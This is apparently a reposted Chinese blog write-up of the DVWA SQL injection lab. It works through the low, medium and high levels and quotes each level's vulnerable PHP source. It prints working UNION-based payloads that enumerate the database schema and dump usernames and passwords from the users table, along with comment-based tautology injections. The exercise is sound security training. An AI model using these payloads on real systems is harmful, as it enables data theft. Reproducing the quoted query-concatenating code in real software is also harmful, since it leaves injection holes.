dvwa-07-SQL Injection

学习目的

借此机会学习一下多种类型的sql注入

low

话不多说 直接上图 随便获取一些信息
在这里插入图片描述
在这里插入图片描述
直接获取数据库名
直接获取数据库
在这里插入图片描述
order by 3 就不行了 该数据表的字段为2

1' union select 1,table_name from information_schema.tables where table_schema=database()#

查询表名
在这里插入图片描述

1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

最后爆了他的老巢 users

1' union select group_concat(user),group_concat(password) from users#

在这里插入图片描述
成功!
在这里插入图片描述

====================================================================

medium

可以看到 当切换为medium难度时 变成了下图这样
在这里插入图片描述
虽然说不能在框框里输入了 但是这并不影响
在这里插入图片描述
用bp简单抓一下包就可以发现 在id处可以直接更改 但改了之后发现过不了了
应该是源码把sql语句进行了转义
偷偷瞄一眼源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
    
    
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {
      
      $id}<br />First name: {
      
      $first}<br />Surname: {
      
      $last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

发现注入时只要不加 ‘ 之类的 和low级别一样
在这里插入图片描述

在这里插入图片描述

High

这时候发现
用 1’ or ‘1’ = '1 不再可以
而用 1’ or 1 = 1# 仍然可以
这是为什么呢
翻了下源码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    
    
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
    
    
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {
      
      $id}<br />First name: {
      
      $first}<br />Surname: {
      
      $last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

发现多加了一个 LIMIT 1
在这里插入图片描述
也就是说 前面要是查询了1 后面就不会执行注入的语句了
但是 #可以把后面的全部注释掉 终于发现#的强大之处了!!!

猜你喜欢

转载自blog.csdn.net/qq_53755216/article/details/114365655